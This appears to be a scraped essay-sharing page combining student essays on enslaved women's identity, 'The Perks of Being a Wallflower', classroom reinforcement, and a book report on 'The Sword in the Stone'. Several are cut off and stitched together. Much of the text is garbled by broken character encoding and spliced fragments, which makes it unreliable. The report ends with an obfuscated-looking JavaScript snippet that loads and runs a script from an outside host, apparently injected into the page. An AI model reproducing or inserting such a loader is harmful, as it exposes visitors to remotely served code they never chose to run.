Monday, December 30, 2019

Women s Influence On Women - 1084 Words

There have been great debates that cause people to have a deep interest in the lives of slave women during slavery in the Caribbean and the Southern parts of the USA. According to Deborah Gray White women has lost their identity, because the history of women has been based off of myth rather than the history of women (ar’n’t I a woman page 3). History is supposed to give people a clearly look into their past, but women believe that they have to prove their women hood; although, many women has proven this during slavery and all of their hard ships, women are still looking for their personal identify as a women. This essay will show how enslaved women were significant and their hardship proved their identity within the slave trade in the British Caribbean and South Carolina. The British Caribbean slave societies were based on the production and the reproduction of slave women during their hardship. Barbados became the first British settlement in the Caribben in the 1652 and then British took over Jamaica in 1655 (http://abolition.e2bn.org/slavery_45.html).This was the start of British slave trade better known as the Transatlantic Slave Trade. Before the middle 1800, African women and girls were forcibly taken to the Americas then the number of Europeans women and girls that migrated at that time. The number rate for selling slaves was always high when it came to women, because they were needed for childbirth and hard labor (Hard Labour, Barbara pg 83). A lot of plantationsShow MoreRelatedWomen s Influence On Women1288 Words   |  6 Pagespeople perceive women. Society in the 1900s to today has made makeup a necessity for a woman to be considered feminine. Cosmetics were first used in America in 1888 by an unknown inventor from Philadelphia, and were tr ademarked under the name Mumm. During the early years of the 20th century, makeup became fashionable in the United States of America and Europe owing to the influence of ballet and theatre stars (Chaudhri and Jain 2.) Makeup began to flourish in America in the 1930s. Women used the mostRead MoreWomen s Influence On Women846 Words   |  4 Pagesrecent times, which influenced a new worldview. During the 1960s, the liberation movement pushed for egalitarianism for women. This movement really made an impact on woman. Women started to rebel against the normal sexual traditions. Additionally, women started to shy away from their traditional roles in the home. It is not uncommon now for women and men to share household duties. Women also uphold demanding jobs and profession in society now. These multiple roles affect the woman in many ways. For instanceRead MoreWomen s Influence On Women1004 Words   |  5 PagesAdvertising has been around since the 1850’s when Volney B. Palmer o pened the first advertising agency in Philadelphia. From the beginning of this era, these ads have aided many businesses in promoting their products to the public but they don’t only promote these specific products. These advertisements promote what are thought to be social â€Å"norms† for women. They sell ideals for family, work, love, and the success that women are allowed to have. With all of this, they aim to communicate how a womanRead MoreWomen s Influence On Women2148 Words   |  9 Pageseveryone but unfortunately that is not the case. Pressures make women believe that they are not considered beautiful if they do not have magazine model bodies or they don’t have the face structure of a celebrity or they do something different than the norm with their hair or they are too short. It really is not a wonder why women struggle to feel pretty every day. False impressions are being put in the minds of youth and public by media that women just can’t liv e up to and shouldn’t have to. It all startsRead MoreWomen s Influence On Women Essay2292 Words   |  10 PagesQuestion: â€Å"Women received the vote based on their contribution to the war effort†. How accurate is this view that women gained the vote based solely on war work? 20 marks Attitudes towards women in 1900 were very different from attitudes today. In 1900 women’s personality traits were traditionally that they were emotional, untruthful immature, and so they were seen unfit and unworthy of the vote by men at that time. Many historians argue that there were many factors which led women to receivingRead MoreWomen s Influence On Women1599 Words   |  7 PagesDuring the 1920s, ‘30s, and ‘40s, women were making extreme social progress. They were starting to wear more revealing clothing, cutting their hair shorter, and generally becoming more respected in society. When the 1950’s came, however, women seemed to backtrack. The ‘50s housewife is a common stereotype associated with these times because of the rapid increase of ‘stay at home’ mothers. It was now the women’s job to stay at home and clean, cook, and watch the children when the husband was at workRead MoreWomen s Influence On Women1167 Words   |à ‚  5 PagesA notion of women have changed through encounter of various European people. Before that, they have their original culture, especially women role in the society was characteristic among mid-seventeenth centry to eighteen century. At the beginning of the book, the author Gunlong Fur shows that women had important role in the Native American society of Lenape. Firstly, they had responsibility of cultivating food, like corn and other vegetables. At this point, women knew when they should sow seeds byRead MoreWomen s Influence On Women997 Words   |  4 PagesOn a regularly basis women are judged for their appearance everywhere they may go. Whether it is by other woman or men, there are always negative remarks said about women. This is usually the reason why woman chose to wear make, to feel better about themselves during every occasion and enhance and array the beauty they already have. Of course, it is not necessary for woman to wear, but woman still do it because it makes them feel better. It is a form of great art used to elevate the beauty each womanRead MoreWomen s Influence On Women Essay1385 Words   |  6 Pagesthat when a women desires something, no one can stop her.† Individuals, scholars, and groups concerned with human rights and feminism, often criticize Islam over the treatment of their women. Westerners, such as form er first lady, Laura Bush, began a social political crusade in the name of â€Å"saving Muslim women† from â€Å"deliberate human cruelty.† In literature, they were depicted as stubborn, unfaithful, fragile, whose actions were based on the fear of the male figure. In everyday life, women are facedRead MoreWomen s Influence On Women1095 Words   |  5 Pagesfashion has been tremendously changing throughout the history. Women belonging from different ethnic group had different fashion, even the women belonging from same ethnic group followed different fashion depending on their race, cast, status or religion. Different clothing styles have impacted the women in different ways; in different eras the character of women has been determined by their clothing style. Similarly, clothing patterns of women in United States kept changing throughout the time. Fashion

Sunday, December 22, 2019

The Movie Perks Of Being A Wallflower - 2368 Words

The movie â€Å"Perks of Being a Wallflower† is about a young teenage boy, name Charlie and his many struggles that he’s faced with as he enters his freshman year of High School. The movie, while at times entertaining, addresses many issues that many teenagers go through in early and late adolescent years. Bullying, sexual identity, substance abuse, romantic relationships, loss, high risk behaviors, sexual abuse, and suicide are topics that are addressed in this fascinating movie. The movie is a coming of age story that describes a difficult time for many teenagers who struggle to find themselves and their identity in society. Watching this movie, I was reminded of my own high school experience and could identify with the struggles and challenges that Charlie and his friends faced throughout their teenage years. The main character Charlie, is a young teenager who is shy, socially awkward, and an introvert who is ready to begin his freshman year of high school. Cha rlie struggles with his new transition from middle to high school, and he is uncertain what to expect as he prepares to enter this new life event. His social circle is minimal to non-existent while he is dealing with the suicide of his best friend earlier in the year. In addition, he also seems to struggle with the loss of his aunt who was killed in a car accident when he was a young boy. While he does appear to have good family support with his mother, father, older brother and sister. He also appears toShow MoreRelatedAnalysis Of The Movie Perks Of Being A Wallflower 1698 Words   |  7 PagesThe movie â€Å"Perks of Being a Wallflower is a bout an young teenage boy, name Charlie and his many struggles that he is faced with as he enters his freshman year of High School. The movie, while at times entertaining, addresses many issues that many teenagers go through in early and late adolescent years. Bullying, sexual identity, substance abuse, romantic relationships, loss, hi gh risk behaviors, sexual abuse, and suicide are topics that are addressed in this fascinating movie. The movie a comingRead MoreThe Perks of Being a Wallflower Compare and Contrast Essay808 Words   |  4 PagesThe Perks of being a Wallflower Compare and Contrast The book and the movie for The Perks of Being a Wallflower are extremely different, and I believe that the movie is much better than the book. The book is written much differently than the movie. There are lots of scenes that are in the book but not in the movie and that are in the movie not the book. The movie focuses less on the bigger, depressing topics than the book does. The characters in the movie are also much different than theyRead MoreThe Perks Of Being A Wallflower1401 Words   |  6 PagesI chose to do my Abnormal Psychology paper over The Perks of Being a Wallflower. I heard about this movie a couple of years ago and I never had time to watch it until recently. I did have a difficult time diagnosing what disorder I thought the main character had, but it turned out to actually be a learning opportunity for myself. This assignment did give me the opportunity to watch the movie differently than I have examined a movie before. What I mean is, for this assignment, I had to examine inRead MoreThe Perks Of Being A Wallflower870 Words   |  4 Pagesthe scientific study of being behavior in human groups (Schaefer). There are very many examples of sociology in the movie The Perks of Being a Wallflower, but I view alienation, deviance, and gender roles to be the most prominent. This movie is about the struggles of a teenage boy named Charlie’s freshman year of high school. Charlie is seen as a social outcast and he just barely makes it through the year with the help of his best friends Sam and Patrick. Throughout the movie Charlie experiences mostRead MoreThe Sense of Self in Adolescence: Teenager Movies Essay1325 Words   |  6 PagesIdentity Status Interview theory, and culture over time.(Arnett, 2013) Perks of Being a Wallflower (Halfon, Malkovich, Smith Chbosky, 2012), is a film that takes place in the south, about a freshman named Charlie, who starts high school with no friends. He just wants to be accepted by his peers and fit in. The Wallflowers, which are seniors, take him under their wing and give him the opportunity to experience the life of being divergent. Can’t Buy Me Love (Mount Rash, 1987) is a film about aRead MoreAnalysis Of Stephen Chbosky s The Catcher Rye And F. Scott Fitzgerald And Tennessee Williams1460 Words   |  6 Pageswas born in August†(Thompson 3).The Perks of Being a Wallflower is an epistolary novel that follows an intellectual and emotional maturation of a teenager who uses the alias of Charlie over the course of his first year of high school. The Perks of Being a Wallflower was banned because parent complained about the books decpetion of homosexualtiy, sex, masturbation, and the use of alcohol and drugs. Elizabeth Thompson stated â€Å" 2. The Perks of Being a Wallflower is the only controversial book thatRead MoreThe Perks of Being a Wallflower: Image of the Self Essay2952 Words   |  12 Pagesï » ¿ THE PERKS OF BEING A WALLFLOWER Czarina Ann B. Baptisma Hum St 25 Ma’am Odal-Devora October 18, 2013 INTRODUCTION Stephen Chbosky’s The Perks of Being a Wallflower is a coming-of-age novel about a 15-year-old boy, Charlie, who is unable to repress any emotions. The novel was first released on 1999 by MTV Books. It has quietly sold nearly half a million copies.1 Stephen Chbosky was born on January 25, 1970 and raised in Pittsburgh, Pennsylvania. He grewRead MorePerks of Being a Wallflower Context Analysis1813 Words   |  8 PagesThe Perks of Being a Wallï ¬â€šower: Context Analysis Paper ! Stephen Chbosky, a 29 year-old ï ¬ lm director and screenwriter published his ï ¬ rst semi-autobiographical novel in 1991, The Perks of Being a Wallï ¬â€šower. He later directed the movie in 2011 and released it in October 2012. The central theme of the story revolves around the struggle to understand the terrible things that inevitably happen to those we love and to ourselves. It unfolds through a series of letters written by the main character, CharlieRead MoreThe 2012 Film The Perks of Being a Wallflower1233 Words   |  5 PagesThe 2012 film The Perks of Being a Wallflower, directed by Stephen Chbosky, is a modern classic that captures the highs and downs of growing up. It is a moving film about first love, fear, hope, and unforgettable friend s. The Perks of Being a Wallflower is a great media text to convey the meaning of groups and leaders, technology in everyday life, and the affects on my own media profile. Logan Lerman stars as Charlie, the introverted and naà ¯ve high school freshman. Charlie is already counting downRead MoreHigh School And Social Hierarchy1246 Words   |  5 Pagesa sense of belongingness and security. Although there are positive aspects of cliques, there is a correlation between cliques and social pressure. Some clique members deal with the anxiety of constantly trying to impress their peers or the fear of being kicked out of the group while those who are outcasts may face bullying and feelings such as loneliness and depression. Either way, links have been found between certain coping mechanisms pertaining to the social pressure adolescents face. For example

Saturday, December 14, 2019

Positive and Negative Reinforcement Free Essays

Positive and Negative Reinforcement Reinforcement is an essential part in identifying and encouraging a certain behavior. In the most classic definition, positive reinforcement is a method of identifying to children which behaviors are acceptable and appropriate and which are not (Sigler, E. Aamidor, S, 2005). We will write a custom essay sample on Positive and Negative Reinforcement or any similar topic only for you Order Now Reinforcement is often given as praise for doing a certain task. As educators, saying â€Å"great job† or a simple word like â€Å"fantastic† are expressed towards students as praise. However, when a student is struggling and praise is given such as â€Å"you are doing so well†, the negative aspects of praise present themselves. The child is aware of the empty praise therefore it may work against the teacher if it is taken as a false praise. So, as educators, we must determine what reinforcements will work with each individual child through experimentation. Also, building a relationship with not just the child, but the parents and all those involved with the child will be instrumental in developing the proper use of reinforcements and can be helpful in gaining knowledge of certain behaviors. The stronger reinforcements for most children are usually food, candy, or drinks. The durability and effectiveness of a reinforcer can usually be determined best by reinforcing the behavior intermittently or by providing a strong alternative which could interfere with the behavior in question (Ferster, C, 1961). Positive reinforcement is not just about the behaviors of the child but the reaction of the teacher and the adults to certain behaviors. Although a child may attempt to test the boundaries of one’s attention, positive attention does not make a child behave inappropriately (Sigler Aamidor, 2005). The reinforcing comes from the teacher or adults actions and words. For example, Joshua is an eight-year-old autistic boy who begins to whine and cry every single time the teacher tries to get him to begin a task that he dislikes. Most of the time Josh only wants to play on the computer, participate in gym, or eat. Each and every time Josh began to break down the staff usually asked him what he wanted or just gave in to what he wanted to do, not even trying to redirect him to the actual task at hand, which his classmates were doing. Joshua would get rewarded with chocolate, potato chips, and even some sympathy hugs from the staff. The behavior became more frequent and the result was the same. By now Joshua knew what he was going to get when he acted out, which was whatever he wanted. However, to change his behavior the staff began to ignore Josh and his outbursts. After a short time of whining and crying Josh threw himself on the floor but the staff still ignored the behavior. He then realized that he was not going to get the same results as he was getting by whining and crying when things didn’t go his way. The teacher then got his attention with another activity and Josh began to take part in the activity. A couple weeks later, after the same lesson, Josh’s behavior was almost extinguished and slowly that behavior was no longer happening in the classroom. On the other hand, negative reinforcement is the removal of an aversive stimulus to increase a certain behavior. For example, when a student is distracted from his work due to loud music playing, however his work improves when the music is off, then the music being turned off is the reinforce. The difference between positive and negative can sometimes be difficult to acknowledge when there are several consequences and the need of the distinction is debated. The main purpose of giving punishments and rewards is to decrease or increase the behavior of the learner (Dad, Ali, Qadeer Janjua, Shazad, and Khan, 2010). Raul is a student with an emotional disorder and requires a great deal of support to help with his academic goals. Raul is extremely sensitive and becomes very overwhelmed when things don’t go his way. He whines, cries, and loses control when he feels exhausted from taking instruction. Raul is very intelligent and needs to get verbal praise throughout his day to stay on task. His triggers are usually when he is asked to sit down within the circle during circle time. The behavior is him pulling away, crying, and hitting, trying to escape the actual activity. The maintaining consequence is that the adults let Raul leave the circle. There is not much fight with Raul because all those involved do not want the other students to become distracted. The first prevention is to give Raul some type of choice to coincide with circle time. A visual activity schedule could give him a more clear idea of what he should be doing and what the daily lessons and activities are. Raul will know exactly where he needs to be and what he needs to be doing at that particular time. Also, manipulatives and intermittent praise are other preventions that the teacher can use. Intermittent praise is praised use throughout the activity but not regularly. This type of praise is given to become persistent. The new skills that can be developed are a part of the plan and may be implemented accordingly. Raul may have increased time of engagement, such as a longer duration of sitting within the circle. Raul will say â€Å"all done† when he has completed a task so praise can be given. This will help the adults notice him if he is not given the correct amount of attention. The responses to Raul for sitting longer will also be all positive praise toward Positive reinforcement is something that rewards the individual for an action taken. When students do or exhibit the correct or desired behaviors in school, then rewarding them for this action is what is known as positive reinforcement. There are many examples for these actions. Students that hand in homework on time may be given time near the end of class to put their books away and work on or do something they want to do within the rules of the school. Putting stickers on work well done so the student knows they did the right thing. Giving the class a free day or having fun activities planned for them to do instead of working on a certain day. Giving a weekly or reward to the student who has the best attendance or best behavior in the class. There are many ways to reward students or show them that by using good behavior, they can be rewarded for their actions and this will cause the student to want to do the right thing versus misbehaving in the classroom. References Dad, H. ; Ali, R. ; Qadeer Janjua, M. ; Shazad, S. ; Khan, M. (2010). Comparison of the Frequency and effectiveness of positive and negative reinforcement practices in schools. Contemporary Issues In Education Research. 3(1), 127-135. Ferster, C. B. (1961). Positive reinforcement and behavioral deficits of autistic children. Child Development. 32(2), 437. Sigler, E; Aamidor, S. (2005). From positive reinforcement to positive behaviors: an everyday guide for the practioner. Early Childhood Education Journal. 32(4), 249-253. How to cite Positive and Negative Reinforcement, Papers

Friday, December 6, 2019

Cliff free essay sample

# 8217 ; s Papper Essay, Research Paper The Sword in the Rock The Sword in the Stone is a book about an adoptive kid named Wart. He is of royal blood and does non cognize this. One twenty-four hours when Wart is in the wood, he finds a prestidigitator named Merlin. Merlin comes place with Wart and agrees with Sir Ector, Wart # 8217 ; s defender, to go Wart # 8217 ; s coach. Merlin goes about educating Wart by transforming him into different animate beings. Through each transmutation Wart experiences different signifiers of power, each being a portion of how he should govern as male monarch. The first transmutation dips Wart and Merlin into the palace # 8217 ; s fosse as fish. They proceed to run into the largest fish in the fosse, who is the swayer. This fish takes what he wants because of his size. In a address about power, he tells Wart that, # 8220 ; Might is right, # 8221 ; and might of the organic structure is greater than might of the head. Because of the manner the fish-king regulations, his topics obey him out of fright for their lives. Wart experiences this firsthand when the fish-king Tells him to go forth. He has grown bored of Wart, and if Wart does non go forth he will eat him. The male monarch uses his size as his claim to power, hence his topics follow him out of fright. In Wart # 8217 ; s following transmutation into a hawk, he soars into the palace # 8217 ; s mews. All the birds in the mews have a military rank. Their leader is an old falcon, who Sir Ector keeps for show. The birds who rank below the falcon, hold her in highest respect because of her age. She applies her power over the other birds with no concern for their lives. In one case, Wart is ordered to stand following to the coop of a brainsick hawk who about kills him. On the other manus, her seasoned age brings regard, since she had non been released once she outlived her utility as a huntress. This allows her to keep a powerful clasp over all the birds she regulations through fright and regard. Following, Wart is transformed into an emmet and posted within an emmet settlement. There is a individual leader of the emmets, and she is the lone thought person in the whole nest. All the emmets are manipulated and overseen by her. Each emmet has a specific undertaking, which it completes repeatedly. The absolute power exerted by the leader destroys all individuality, go forthing the emmets with no creativeness. Alternatively, they use test and mistake to complete undertakings that should take merely a little sum of idea. Wart sees this occur when an ant attempts with trouble to form three corpses in a little burial chamber, when a little sum of concluding would hold solved gt ; the job rapidly. The emmets are of a corporate head, so that what one thinks, they all think. They go about their day-to-day lives unmindful to the command the leader has over them. Wart # 8217 ; s 4th transmutation topographic points him in a flock of geese. These geese are a peace loving race that neer kill. There is one leader to a group who is called The Admiral. He guides them on their flight South for the winter. The Admiral receives his place because of his cognition of the southern migration path. He is merely elected if all the geese in the migration group hold he is capable of making the occupation. During the flight the geese obey his picks, since he is their elective leader. But his power ends one time they are back on the land, where he is merely looked upon as a well-thought-of senior. In the concluding transmutation Wart visits the Wisconsinite. The Wisconsinite is a great philosopher who enjoys giving scholarly commentaries. While Wart is sing him, he explains a narrative he has written on the creative activity of the carnal kingdom # 8217 ; s hierarchy. In his commentary he explains how adult male answered God # 8217 ; s riddle and is awarded control over the carnal land. He lives a life of purdah because many other animate beings do non believe at his degree. They listen because he is old and experient, and with this comes regard. Through each of the transmutations, Wart sees different utilizations of power. Wart must take how he will finally regulate his land. The leaders he visits, regulate in their ain manner, each retaining their power through different methods. When these are combined, the following image of how a leader should or should non govern emerges: A leader should non effort to govern his or her people through might and fear, as does the fisk-king. Unlike the falcon, a swayer should non retain power merely because of age, and should govern with the topics well-being in head. One should non exert entire control over one # 8217 ; s topics, because they lose creativeness and individuality as shown by the emmets. A democratically elected leader, whom topics have faith in his or her ability to acquire a occupation done, and who has the required accomplishments will finish the undertaking at manus, as do the geese. Leaderships must give great thought to doing determinations related to their usage of power, and utilize their experience, like the Badger. Besides like the Badger, these determinations should be made without the aid of others, and hence may take to solitude. T. H. White is hence similar to Merlin in seeking to learn us about leading. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;